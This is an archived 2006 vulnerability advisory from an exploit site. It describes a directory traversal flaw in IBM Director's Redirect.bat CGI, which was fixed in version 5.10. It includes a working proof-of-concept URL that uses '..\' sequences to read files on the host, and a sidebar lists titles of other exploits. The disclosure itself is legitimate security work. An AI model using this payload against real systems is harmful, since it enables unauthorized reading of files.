exploits , vulnerabilities , articles , IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability

2006-09-07

IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability

Rated as : High Risk

There is a vulnerability within the Redirect.bat file on a ibm director
cgi which allows a directory transversal to take place which in turn
exposes most files on the system to be read without authorization.

http://ip.of.system:411/cgi-bin/Redirect.bat?file=%7C..\..\..\..\..\..\....\..\program%20files\ibm\director\version.key
(or insert evil file here)


This was fixed in the 5.10 version of ibm director.

-Daniel Clemens
securitydot.net - 2006-09-07

Exploits - newest 10 RSS | More

2007-06-15 55559 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 32938 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 40996 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 28542 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19099 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16143 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 18766 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16040 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 32709 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 16667 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit